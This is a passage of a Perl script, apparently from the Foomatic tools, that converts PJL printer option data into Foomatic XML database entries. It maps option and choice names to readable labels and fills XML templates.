WARNING: Default added!\n"); } } # We have a complete option now, enter it into the # template XML files to generate a Foomatic database # entry my $numtype = ''; if ($optiontype == 2) {$numtype = "float";} elsif ($optiontype == 1) {$numtype = "int";} else {$numtype = "enum";} my $shortoption = $option; $shortoption =~ tr/A-Z :/a-z__/; # $shortoption is # lowercase and without # spaces my $longoption = $shortoption; my $optionid = "pjl-$printer-$shortoption"; my $choiceblock = ''; my @choiceblocklist = (); my $max = ''; my $min = ''; # Substitution list to for the menu texts of the options # ($longoption) # Only options of major importance are substituted, so # one can separate options of lower importance # ($longoption begins with a lowercase letter) into # an "advanced options" group. The "-i" (Important) # option removes these options of low importance # Do the substitutions my $substituted = 0; my ($substr); for $substr (keys(%$longsubs)) { my $substitution = $longsubs->{$substr}; if (($longoption =~ m!^$substr$!) ){ $longoption =~ s!^$substr$!$substitution!g; # Remove option if not substituted and "-i" # flag is set (option is not "important" $substituted = 1; last; } } # Substitute $shortoption if it is one of the options # of the "General" PPD section, so that CUPS and its # graphical frontends insert it correctly my $shortsubs = { 'duplex' => 'Duplex', 'mediatype' => 'MediaType', 'mediasource' => 'InputSlot', 'sourcetray' => 'InputSlot', 'kintrayselect' => 'InputSlot', 'okipaperfeed' => 'InputSlot', 'lpapersource' => 'InputSlot' }; # Do the substitutions my $shortsubstituted = 0; my ($substr); for $substr (keys(%$shortsubs)) { my $substitution = $shortsubs->{$substr}; if (($shortoption =~ m!^$substr$!) && ($shortsubstituted == 0)) { $shortoption =~ s!^$substr$!$substitution!g; $shortsubstituted = 1; } } if ($optiontype == 0) { # enumerated option, generate choice entries for $choice (@choices) { # list of items to substitute in the choice # template my $shortchoice = $choice; $shortchoice =~ tr/A-Z? :/a-zX__/;#$shortchoice # is lowercase # and without # spaces if ($shortchoice =~ m/X/) { $shortchoice = 'undef'; } my $longchoice = $shortchoice; my $choiceid = "pjl-$printer-$shortchoice"; if ($default == $choice) { $default = $choiceid; } my $longchoicesubs = { 'on' => 'On', 'off' => 'Off', 'enable' => 'Enabled', 'disable' => 'Disabled', 'enabled' => 'Enabled', 'disabled' => 'Disabled', 'yes' => 'Yes', 'no' => 'No', 'none' => 'None', 'auto' => 'Automatic', 'default' => 'Default', 'intray' => 'Tray', 'intray1' => 'Tray 1', 'intray2' => 'Tray 2', 'intray3' => 'Tray 3', 'intray4' => 'Tray 4', 'intray5' => 'Tray 5', 'intray6' => 'Tray 6', 'intray7' => 'Tray 7', 'intray8' => 'Tray 8', 'intray9' => 'Tray 9', 'intray10' => 'Tray 10', 'tray' => 'Tray', 'tray1' => 'Tray 1', 'tray2' => 'Tray 2', 'tray3' => 'Tray 3', 'tray4' => 'Tray 4', 'tray5' => 'Tray 5', 'tray6' => 'Tray 6', 'tray7' => 'Tray 7', 'tray8' => 'Tray 8', 'tray9' => 'Tray 9', 'tray10' => 'Tray 10', 'upper' => 'Upper', 'middle' => 'Middle', 'lower' => 'Lower', 'first' => 'First', 'cassette' => 'Cassette', 'manual' => 'Manual', 'manualenvelope' => 'Manual Envelope Feeder', 'manualpaper' => 'Manual Paper Feeder', 'manualfeed' => 'Manual Feeder', 'locked' => 'Locked', 'unlocked' => 'Unlocked', 'letter' => 'Letter', 'legal' => 'legal', 'a0' => 'A0', 'a1' => 'A1', 'a2' => 'A2', 'a3' => 'A3', 'a4' => 'A4', 'a5' => 'A5', 'a6' => 'A6', 'a7' => 'A7', 'a8' => 'A8', 'a9' => 'A9', 'a10' => 'A10', 'b5paper' => 'B5 Paper', 'executive' => 'Executive', 'com10' => 'Com 10', 'com9' => 'Com 9', 'monarch' => 'Monarch', 'dl' => 'DL', 'c5' => 'C5', 'b5' => 'B5', 'otherenvelope' => 'Other Envelope', 'jisb5' => 'JIS B5', 'jisexec' => 'JIS Exec', 'roc16k' => 'ROC 16K', 'b5' => 'B5', 'b5' => 'B5', 'b5' => 'B5', 'custom' => 'Custom Size', 'portrait' => 'Portrait', 'landscape' => 'Landscape', 'light' => 'Light', 'medium' => 'Medium', 'dark' => 'Dark', 'regular' => 'Regular', 'job' => 'Job', 'draft' => 'Draft', 'tonersaver' => 'Toner Saving', 'paper' => 'Paper', 'normal' => 'Normal', 'plain' => 'Plain', 'bond' => 'Bond', 'rough' => 'Rough', 'cardstock' => 'Card Stock', 'labels' => 'Labels', 'transparency' => 'Transparency', 'glossy' => 'Glossy', 'letterhead' => 'Letter Head', 'preprinted' => 'Preprinted', 'colored' => 'Coloured', 'customtype' => 'Custom Type', 'customtype1' => 'Custom Type 1', 'customtype2' => 'Custom Type 2', 'customtype3' => 'Custom Type 3', 'customtype4' => 'Custom Type 4', 'customtype5' => 'Custom Type 5', 'customtype6' => 'Custom Type 6', 'customtype7' => 'Custom Type 7', 'customtype8' => 'Custom Type 8', 'customtype9' => 'Custom Type 9', 'customtype10' => 'Custom Type 10', 'envelope' => 'Envelope', 'print' => 'Print', 'donotprint' => 'Do Not Print', 'ram' => 'RAM', 'single' => 'Single', 'continue' => 'Continue', 'continuous' => 'Continuous', 'stop' => 'Stop', 'minimum' => 'Minimum', 'moderate' => 'Moderate', 'maximum' => 'Maximum', 'public' => 'Public', 'private' => 'Private', 'store' => 'Store', 'proof' => 'Proof', 'half' => 'Half', 'staple' => 'Staple', 'one' => '1', 'two' => '2', 'three' => '3', 'four' => '4', 'five' => '5', 'six' => '6', 'seven' => '7', 'eight' => '8', 'nine' => '9', 'ten' => '10', 'oneangled' => 'One Angled', 'oneopposed' => 'One Opposed', 'option' => 'Option', 'option1' => 'Option 1', 'option2' => 'Option 2', 'option3' => 'Option 3', 'option4' => 'Option 4', 'option5' => 'Option 5', 'option6' => 'Option 6', 'option7' => 'Option 7', 'option8' => 'Option 8', 'option9' => 'Option 9', 'option10' => 'Option 10', 'onehour' => '1 Hour', 'fourhours' => '4 Hours', 'oneday' => '1 Day', 'oneweek' => '1 Week', 'slow' => 'Slow', 'fast' => 'Fast', 'smooth' => 'Smooth', 'short' => 'Short', 'heavy' => 'Heavy', 'long' => 'Long', 'longedge' => 'Long Edge', 'shortedge' => 'Short Edge', 'undef' => 'Undefined' }; # Do the substitutions my $chsubstituted = 0; my ($substr); for $substr (keys(%$longchoicesubs)) { my $substitution = $longchoicesubs->{$substr}; if (($longchoice =~ m!^$substr$!) && ($chsubstituted == 0)) { $longchoice =~ s!^$substr$!$substitution!g; $chsubstituted = 1; } } my $choicesubs = { 'CHOICE' => $choice, 'SHORTCHOICE' => $shortchoice, 'LONGCHOICE' => $longchoice, 'CHOICEID' => $choiceid }; # load template file for the choice entry open TMPL, "/usr/share/foomatic/templates/pjl_enum_choice.xml" or die "cannot open /usr/share/foomatic/templates/pjl_enum_choice.xml"; my @datafile = <TMPL>; close TMPL; my $template = join('',@datafile); # Do the substitutions my ($substr); for $substr (keys(%$choicesubs)) { my $substitution = $choicesubs->{$substr}; $template =~ s!\@\@$substr\@\@!$substitution!g; } # Anything not substituted? grep (m!\@\@([^\@]+)\@\@!g && do { warn " Unknown substitution $1 in choice template file!\n"; }, split("\n",$template)); # Store choice entry push(@choiceblocklist, $template); } # Make the choices ready for being inserted into the # option file $choiceblock = join('',@choiceblocklist); } else { # numeric option, set minimum and maximum $min = $choices[0]; $max = $choices[1]; } # Set up list of items to substitute in the template # option files my $optionsubs = { 'NUMTYPE' => $numtype, 'OPTIONID' => $optionid, 'SHORTOPTION' => $shortoption, 'LONGOPTION' => $longoption, 'OPTION' => $option, 'MAKE' => $manufacturer, 'MODEL' => $model, 'DEFAULT' => $default, 'CHOICES' => $choiceblock, 'MAX' => $max, 'MIN' => $min }; # load template file for the option entry if ($optiontype == 0) { $templatename = "pjl_enum_option.xml"; } else { $templatename = "pjl_num_option.xml"; } open TMPL, "/usr/share/foomatic/templates/$templatename" or die "cannot open /usr/share/foomatic/templates/$templatename"; my @datafile = <TMPL>; close TMPL; my $template = join('',@datafile); # Do the substitutions my ($substr); for $substr (keys(%$optionsubs)) { my $substitution = $optionsubs->{$substr}; $template =~ s!\@\@$substr\@\@!$substitution!g; } # Anything not substituted? grep (m!\@\@([^\@]+)\@\@!g && do { warn " Unknown substitution $1 in option template file '$templatename'!\n"; }, split("\n",$template)); # Finally, write out the new file # Options are under opt/ # Do not write option when "-i" flag was used and # option is not in substitution list ("important" # option) if (($substituted == 1) || (!$opt->{i})) { if( $opt->{q} ){ print $outputline . "\n" if $outputline; $outputline = ""; } else { my $dbfilename = "foomatic-db/opt/$optionid.xml"; if( not $opt->{s} ){ $NEWF = new FileHandle "> $dbfilename" or die "cannot open $dbfilename"; } else { $dbfilename = "$optionid"; } print "# writing $dbfilename..."; print $NEWF $template; print " done.\n"; if( not $opt->{s} ){ close $NEWF; } } } else { print("# WARNING: Option '$option' of minor importance and \"-i\" set, option ignored!\n"); } # Reset variables $option = ""; $optiontype = -1; $numchoices = -1; $default = ""; @choices = (); $choicesfound = 0; } } else { # All choices for current header are read but the # current line is not a new header if ($numchoices > -2) { print "# WARNING: Too many choice lines for option '$option'!\n"; $numchoices = -2; } } } } } exit 0;
Close